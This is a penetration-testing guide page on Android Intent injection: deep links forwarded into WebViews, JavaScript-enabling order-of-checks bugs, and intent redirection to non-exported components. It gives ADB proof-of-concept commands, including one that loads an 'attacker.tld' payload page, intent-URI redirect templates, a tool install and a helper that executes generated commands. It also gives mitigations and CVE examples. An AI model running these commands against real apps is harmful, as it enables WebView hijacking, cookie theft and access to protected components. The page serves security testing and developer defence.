11 KiB
Intent Injection
{{#include ../../banners/hacktricks-training.md}}
Intent injection abuses components that accept attacker-controlled Intents or data that is later converted into Intents. Two very common patterns during Android app pentests are:
- Passing crafted extras to exported Activities/Services/BroadcastReceivers that are later forwarded to privileged, non-exported components.
- Triggering exported VIEW/BROWSABLE deep links that forward attacker-controlled URLs into internal WebViews or other sensitive sinks.
Deep links → WebView sink (URL parameter injection)
If an app exposes a custom scheme deep link such as:
myscheme://com.example.app/web?url=<attacker_url>
and the receiving Activity forwards the url
query parameter into a WebView, you can force the app to render arbitrary remote content in its own WebView context.
PoC via adb:
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Impact
- HTML/JS executes inside the app’s WebView profile.
- If JavaScript is enabled (by default or due to misordered checks), you can enumerate/use any exposed
@JavascriptInterface
objects, steal WebView cookies/local storage, and pivot.
See also:
{{#ref}} webview-attacks.md {{#endref}}
Order-of-checks bug enabling JavaScript
A recurring bug is enabling JavaScript (or other permissive WebView settings) before the final URL allowlist/verification finishes. If early helpers accept your deep link and the WebView is configured first, your final load happens with JavaScript already enabled even if later checks are flawed or too late.
What to look for in decompiled code:
- Multiple helpers that parse/split/rebuild the URL differently (inconsistent normalization).
- Calls to
getSettings().setJavaScriptEnabled(true)
before the last host/path allowlist check. - A pipeline like: parse → partial validate → configure WebView → final verify → loadUrl.
Mitigations
- Canonicalize once and validate strictly; fail closed.
- Only enable JavaScript after all checks pass and just before loading trusted content.
- Avoid exposing bridges to untrusted origins.
Other classic Intent injection primitives
- startActivity/sendBroadcast using attacker-supplied
Intent
extras that are later re-parsed (Intent.parseUri(...)
) and executed. - Exported proxy components that forward Intents to non-exported sensitive components without permission checks.
Automating exported-component testing (Smali-driven ADB generation)
When exported components expect specific extras, guessing payload shape causes time waste and false negatives. You can automate discovery of keys/types directly from Smali and emit ready-to-run adb commands.
Tool: APK Components Inspector
- Repo: https://github.com/thecybersandeep/apk-components-inspector
- Approach: decompile and scan Smali for calls like
getStringExtra("key")
,getIntExtra("id", ...)
,getParcelableExtra("redirect_intent")
,getSerializableExtra(...)
,getBooleanExtra(...)
,getAction()
,getData()
to infer which extras and fields are consumed by each component. - Output: for every exported Activity/Service/Receiver/Provider, the tool prints a short explanation and the exact
adb shell am ...
/cmd content ...
command with correctly typed flags.
Install
git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich
Usage
python apk-components-inspector.py target.apk
Example output
adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items
ADB am extras cheat sheet (type-aware flags)
- Strings:
--es key value
| String array:--esa key v1,v2
- Integers:
--ei key 123
| Int array:--eia key 1,2,3
- Booleans:
--ez key true|false
- Longs:
--el key 1234567890
- Floats:
--ef key 1.23
- URIs (extra):
--eu key content://...
| Data URI (Intent data):-d content://...
- Component extra:
--ecn key com.pkg/.Cls
- Null string extra:
--esn key
- Common flags:
-a <ACTION>
-c <CATEGORY>
-t <MIME>
-f <FLAGS>
--activity-clear-task --activity-new-task
Pro tips for Providers
- Use
adb shell cmd content query|insert|update|delete ...
to hit ContentProviders without agents. - For SQLi probing, vary
--projection
and--where
(aka selection) when the underlying provider is SQLite-backed.
Full-pipeline automation (interactive executor)
# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
Helper script (merges continued lines, executes only lines starting with adb
):
import subprocess
def parse_adb_commands(file_path):
with open(file_path, 'r') as file:
lines = file.readlines()
commands = []
current = []
for line in lines:
s = line.strip()
if s.startswith("adb "):
current = [s]
elif s.startswith("#") or not s:
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
current = []
elif current:
current.append(s)
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
return commands
for i, cmd in enumerate(parse_adb_commands('adbcommands.txt'), 1):
print(f"\nCommand {i}: {cmd}")
input("Press Enter to execute this command...")
try:
r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True)
print("Output:\n", r.stdout)
if r.stderr:
print("Errors:\n", r.stderr)
except subprocess.CalledProcessError as e:
print(f"Command failed with error:\n{e.stderr}")
Run on-device: the inspector is Python-based and works in Termux or rooted phones where apktool
/androguard
are available.
Intent Redirection (CWE-926) – finding and exploiting
Pattern
- An exported entry point (Activity/Service/Receiver) reads an incoming Intent and forwards it internally or externally without validating source/data, e.g.:
startActivity(getIntent())
startActivity(intent)
whereintent
came from an extra likeredirect_intent
/next_intent
/pending_intent
orIntent.parseUri(...)
.- Trusting
action
/data
/component
fields without checks; not verifying caller identity.
What to search in Smali/Java
- Uses of
getParcelableExtra("redirect_intent")
,getParcelable("intent")
,getIntent().getParcelableExtra(...)
. - Direct
startActivity(...)
,startService(...)
,sendBroadcast(...)
on attacker-influenced Intents. - Lack of
getCallingPackage()
/getCallingActivity()
checks or custom permission gates.
ADB PoC templates
- Proxy Activity forwarding an extra Intent to a privileged internal Activity:
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
- Exported Service that honors a
redirect_intent
parcelable:
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
- Exported Receiver that relays without validation:
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'
Flags helpful for singleTask-style behavior
# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task
Real-world examples (impact varies):
- CVE-2024-26131 (Element Android): exported flows leading to WebView manipulation, PIN bypass, login hijack.
- CVE-2023-44121 (LG ThinQ Service): exported receiver action
com.lge.lms.things.notification.ACTION
→ system-level effects. - CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): redirection → arbitrary file access (w/ user interaction).
- CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak content.
- CVE-2021-4438 (React Native SMS User Consent).
- CVE-2020-14116 (Xiaomi Mi Browser).
Mitigations (developer checklist)
- Do not forward incoming Intents directly; sanitize and re-construct allowed fields.
- Restrict exposure with
android:exported="false"
unless necessary. Protect exported components with permissions and signatures. - Verify caller identity (
getCallingPackage()
/getCallingActivity()
), and enforce explicit Intents for intra-app navigation. - Validate both
action
anddata
(scheme/host/path) before use; avoidIntent.parseUri
on untrusted input.
References
- Android – Access to app-protected components
- Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
- Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)
- Demonstration video
- Automating Android App Component Testing with New APK Inspector (blog)
- APK Components Inspector – GitHub
- Google guidance on intent redirection
- OVAA vulnerable app
- Exported Service PoC APK
- Ostorlab – 100M installs image app deep dive (component summary example)
- CVE-2024-26131 – NVD
- CVE-2023-44121 – CVE.org
- CVE-2023-30728 – CVE.org
- CVE-2022-36837 – CVE.org
- CVE-2021-4438 – NVD
- CVE-2020-14116 – NVD
{{#include ../../banners/hacktricks-training.md}}